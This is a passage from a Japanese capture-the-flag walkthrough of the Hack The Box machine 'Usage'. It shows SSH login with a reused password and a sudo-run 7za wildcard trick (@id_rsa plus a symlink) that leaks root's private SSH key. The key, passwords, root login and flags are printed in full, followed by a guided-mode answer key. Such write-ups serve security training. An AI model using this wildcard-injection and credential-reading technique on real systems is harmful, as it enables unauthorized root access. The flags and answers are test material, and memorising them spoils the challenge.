    if cpu > 80% for 2 cycles then alert


#System Monitoring
check system usage
    if memory usage > 80% for 2 cycles then alert
    if cpu usage (user) > 70% for 2 cycles then alert
        if cpu usage (system) > 30% then alert
    if cpu usage (wait) > 20% then alert
    if loadavg (1min) > 6 for 2 cycles then alert
    if loadavg (5min) > 4 for 2 cycles then alert
    if swap usage > 5% then alert

check filesystem rootfs with path /
       if space usage > 80% then alert


xanderユーザーでSSHログイン


(1) .monitrcファイルに記載されたパスワードがxanderユーザーでも使い回されている可能性があるため、試しにsshで接続するとログインできることが分かる。

$ ssh xander@usage.htb
  →パスワード(3nc0d3d_pa$$w0rd)を入力する。


(2) 現在ログインしているユーザー情報を確認すると、xanderユーザーであることが分かる。

$ id
uid=1001(xander) gid=1001(xander) groups=1001(xander)


$ whoami
xander


特権昇格のための調査


(1) sudoコマンドの設定を確認すると、パスワードなしでrootユーザー権限で/usr/bin/usage_managementを実行できることが分かる。

※xanderユーザーでログインした攻撃対象のマシン(Usage)上で以下のコマンドを実行する。

$ sudo -l
  →パスワード(3nc0d3d_pa$$w0rd)を入力する。
Matching Defaults entries for xander on usage:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User xander may run the following commands on usage:
    (ALL : ALL) NOPASSWD: /usr/bin/usage_management


(2) SUIDファイルを検索する。

※xanderユーザーでログインした攻撃対象のマシン(Usage)上で以下のコマンドを実行する。

$ find / -perm -u=s -type f 2> /dev/null
/snap/core20/2015/usr/bin/chfn
/snap/core20/2015/usr/bin/chsh
/snap/core20/2015/usr/bin/gpasswd
/snap/core20/2015/usr/bin/mount
/snap/core20/2015/usr/bin/newgrp
/snap/core20/2015/usr/bin/passwd
/snap/core20/2015/usr/bin/su
/snap/core20/2015/usr/bin/sudo
/snap/core20/2015/usr/bin/umount
/snap/core20/2015/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/2015/usr/lib/openssh/ssh-keysign
/snap/core20/1974/usr/bin/chfn
/snap/core20/1974/usr/bin/chsh
/snap/core20/1974/usr/bin/gpasswd
/snap/core20/1974/usr/bin/mount
/snap/core20/1974/usr/bin/newgrp
/snap/core20/1974/usr/bin/passwd
/snap/core20/1974/usr/bin/su
/snap/core20/1974/usr/bin/sudo
/snap/core20/1974/usr/bin/umount
/snap/core20/1974/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1974/usr/lib/openssh/ssh-keysign
/snap/snapd/20290/usr/lib/snapd/snap-confine
/snap/snapd/19993/usr/lib/snapd/snap-confine
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/pkexec
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/su
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/mount
/usr/bin/umount
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/fusermount3
/usr/libexec/polkit-agent-helper-1


(3) .bash_historyファイルを確認すると、何も出力されない。

※xanderユーザーでログインした攻撃対象のマシン(Usage)上で以下のコマンドを実行する。

$ cat /home/xander/.bash_history


(4) 攻撃対象のマシン上でポートスキャンを実行して、応答がポート番号を確認する。

※xanderユーザーでログインした攻撃対象のマシン(Usage)上で以下のコマンドを実行する。

$ for port in {1..65535}; do echo > /dev/tcp/127.0.0.1/$port && echo "$port open"; done  2>/dev/null
22 open
80 open
2812 open
3306 open
33060 open


(5) OSの情報を確認すると、「Ubuntu 22.04.4 LTS」であることが分かる。

※xanderユーザーでログインした攻撃対象のマシン(Usage)上で以下のコマンドを実行する。

$ uname -a
Linux usage 5.15.0-101-generic #111-Ubuntu SMP Tue Mar 5 20:16:58 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux


$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 22.04.4 LTS
Release:        22.04
Codename:       jammy


特権昇格(sudo設定の脆弱性)


(1) 「sudo -l」コマンドの結果/usr/bin/usage_managementファイルはパスワードなしでrootユーザー権限で実行できることが分かっている。

(2) /usr/bin/usage_managementのファイルタイプを確認すると、Linuxの実行ファイルであることが分かる。

※xanderユーザーでログインした攻撃対象のマシン(Usage)上で以下のコマンドを実行する。

$ file /usr/bin/usage_management
/usr/bin/usage_management: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=fdb8c912d98c85eb5970211443440a15d910ce7f, for GNU/Linux 3.2.0, not stripped


(3) /usr/bin/usage_managementを実行して、「1. Project Backup」を選択すると7-Zipを用いて/var/backups/project.zipというバックアップファイルを生成していることが分かる。

※xanderユーザーでログインした攻撃対象のマシン(Usage)上で以下のコマンドを実行する。

$ sudo /usr/bin/usage_management
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3): 1

7-Zip (a) [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs AMD EPYC 7763 64-Core Processor                 (A00F11),ASM,AES-NI)

Scanning the drive:
2984 folders, 17945 files, 113878710 bytes (109 MiB)

Creating archive: /var/backups/project.zip

Items to compress: 20929


Files read from disk: 17945
Archive size: 54829555 bytes (53 MiB)
Everything is Ok


(4) project.zipファイルの権限を確認すると、一般ユーザー(xander)では書き込み権限がないためファイルを解凍できないことが分かる。

※xanderユーザーでログインした攻撃対象のマシン(Usage)上で以下のコマンドを実行する。

$ ls -al /var/backups/project.zip
-rw-r--r-- 1 root root 54829555 Jul 20 04:39 /var/backups/project.zip


(5) stringsコマンドでusage_managementの内容を確認すると、「1. Project Backup」を選択したときに「/usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt — *」コマンドを実行して「/var/www/html」配下のファイルをバックアップしていると推測できる。

※xanderユーザーでログインした攻撃対象のマシン(Usage)上で以下のコマンドを実行する。

$ strings /usr/bin/usage_management
ーーー(省略)ーーー
/var/www/html
/usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- *
Error changing working directory to /var/www/html
/usr/bin/mysqldump -A > /var/backups/mysql_backup.sql
Password has been reset.
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3):
Invalid choice.
ーーー(省略)ーーー


(6) HackTricks(https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/wildcards-spare-tricks.html?highlight=7za#7z)で任意のファイルを読み込む方法が記載されている。


(7) HackTricksに記載された手順に従ってrootユーザーのSSHの秘密鍵(/root/.ssh/id_rsa)を読み込むための準備をする。

※xanderユーザーでログインした攻撃対象のマシン(Usage)上で以下のコマンドを実行する。

$ cd /var/www/html


$ touch @id_rsa


$ ln -s /root/.ssh/id_rsa id_rsa


(8) root権限で/usr/bin/usage_managementを実行すると、SSHの秘密鍵(/root/.ssh/id_rsa)の内容が出力される。

※xanderユーザーでログインした攻撃対象のマシン(Usage)上で以下のコマンドを実行する。

$ sudo /usr/bin/usage_management
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3): 1

7-Zip (a) [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs AMD EPYC 7763 64-Core Processor                 (A00F11),ASM,AES-NI)

Open archive: /var/backups/project.zip
--
Path = /var/backups/project.zip
Type = zip
Physical Size = 54830122

Scanning the drive:

WARNING: No more files
-----BEGIN OPENSSH PRIVATE KEY-----


WARNING: No more files
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW


WARNING: No more files
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi


WARNING: No more files
QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q


WARNING: No more files
AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs


WARNING: No more files
H2sfTWZeFDLGmqMhrqDdAAAACnJvb3RAdXNhZ2UBAgM=


WARNING: No more files
-----END OPENSSH PRIVATE KEY-----

2984 folders, 17948 files, 113879332 bytes (109 MiB)

Updating archive: /var/backups/project.zip

Items to compress: 20932


Files read from disk: 17948
Archive size: 54830263 bytes (53 MiB)

Scan WARNINGS for files and folders:

-----BEGIN OPENSSH PRIVATE KEY----- : No more files
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW : No more files
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi : No more files
QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q : No more files
AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs : No more files
H2sfTWZeFDLGmqMhrqDdAAAACnJvb3RAdXNhZ2UBAgM= : No more files
-----END OPENSSH PRIVATE KEY----- : No more files
----------------
Scan WARNINGS: 7


(9) 出力されたSSHの秘密鍵(/root/.ssh/id_rsa)の内容をファイルに書き込む。

※Kali Linux上で以下のコマンドを実行する。

$ vi root_id_rsa

【root_id_rsaに記載する内容】
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi
QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q
AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs
H2sfTWZeFDLGmqMhrqDdAAAACnJvb3RAdXNhZ2UBAgM=
-----END OPENSSH PRIVATE KEY-----


(10) SSHの秘密鍵を用いてrootユーザーでログインする。

※Kali Linux上で以下のコマンドを実行する。

$ chmod 600 root_id_rsa


$ ssh root@usage.htb -i root_id_rsa
  →rootのシェル(#)が表示される。


(11) 現在ログインしているユーザー情報を確認すると、rootユーザーであることが分かる。

※rootユーザーでログインした攻撃対象のマシン(Usage)上で以下のコマンドを実行する。

# id
uid=0(root) gid=0(root) groups=0(root)


# whoami
root


(12) 特権ユーザー用のフラグファイルを確認する。

※rootユーザーでログインした攻撃対象のマシン(Usage)上で以下のコマンドを実行する。

# cat /root/root.txt
d2e6cb23e6323021ea14801c704f26fb


[補足] Guided ModeのQA


・Task 1

問題(英語訳):How many open TCP ports are listening on Usage?
問題(日本語訳):使用状況でリッスンしている開いている TCP ポートはいくつありますか?

答え:2


・Task 2

問題(英語訳):What domain name is a subdomain of usage.htb that returns a different page than the default redirect to usage.htb?
問題(日本語訳):usage.htb へのデフォルトのリダイレクトとは異なるページを返す usage.htb のサブドメインはどのドメイン名ですか?

答え:admin.usage.htb


・Task 3

問題(英語訳):What PHP web framework is the website written with?
問題(日本語訳):この Web サイトはどの PHP Web フレームワークを使用して作成されていますか?

答え:laravel


・Task 4

問題(英語訳):What is the HTTP POST parameter that is vulnerable to SQL injection?
問題(日本語訳):SQL インジェクションに対して脆弱な HTTP POST パラメータとは何ですか?

答え:email


・Task 5

問題(英語訳):How many tables are in the usage_blog database?
問題(日本語訳):usage_blog データベースにはテーブルがいくつありますか?

答え:15


・Task 6

問題(英語訳):What is the admin user's password to the admin website?
問題(日本語訳):管理者ウェブサイトの管理者ユーザーのパスワードは何ですか?

答え:whatever1


・Task 7

問題(英語訳):What PHP package is responsible for the admin panel?
問題(日本語訳):管理パネルを担当する PHP パッケージは何ですか?

答え:laravel-admin


・Task 8

問題(英語訳):What is the 2023 CVE ID for an arbitrary file upload vulnerability that leads to remote code execution in this version of Laravel-Admin?
問題(日本語訳):このバージョンの Laravel-Admin におけるリモート コード実行につながる任意のファイルアップロードの脆弱性の 2023 CVE ID は何ですか?

答え:CVE-2023-24249


・Task 9

問題(英語訳):What user is the webserver running as on Usage?
問題(日本語訳):使用状況で Web サーバーはどのユーザーとして実行されていますか?

答え:dash


・Submit User Flag

問題(英語訳):Submit the flag located in the dash user's home directory.
問題(日本語訳):dash ユーザーのホーム ディレクトリにあるフラグを送信します。

答え:22fbdfd0e0a5648824d3c6b8d197973a
※「/home/dash/user.txt」の内容。


・Task 11

問題(英語訳):What is the xander user's password on Usage?
問題(日本語訳):使用状況における xander ユーザーのパスワードは何ですか?

答え:3nc0d3d_pa$$w0rd


・Task 12

問題(英語訳):What is the full path of the file that xander can run as any user without a password on Usage?
問題(日本語訳):xander が Usage でパスワードなしで任意のユーザーとして実行できるファイルのフル パスは何ですか?

答え:/usr/bin/usage_management


・Task 13

問題(英語訳):Which option in usage_management invokes 7Zip?
問題(日本語訳):usage_management のどのオプションが 7Zip を呼び出しますか?

答え:1


・Task 14

問題(英語訳):What is the full command line for 7Zip when it is invoked by usage_management?
問題(日本語訳):usage_management によって呼び出されたときの 7Zip の完全なコマンド ラインは何ですか?

答え:/usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- *


・Task 15

問題(英語訳):What is the full path to the root user's private SSH key?`
問題(日本語訳):ルートユーザーの秘密 SSH キーへのフルパスは何ですか?

答え:/root/.ssh/id_rsa


・Submit Root Flag

問題(英語訳):Submit the flag located in the root user's home directory.
問題(日本語訳):ルート ユーザーのホーム ディレクトリにあるフラグを送信します。

答え:d2e6cb23e6323021ea14801c704f26fb
※「/root/root.txt」の内容。


関連記事(Hack The Box)

※後日作成予定。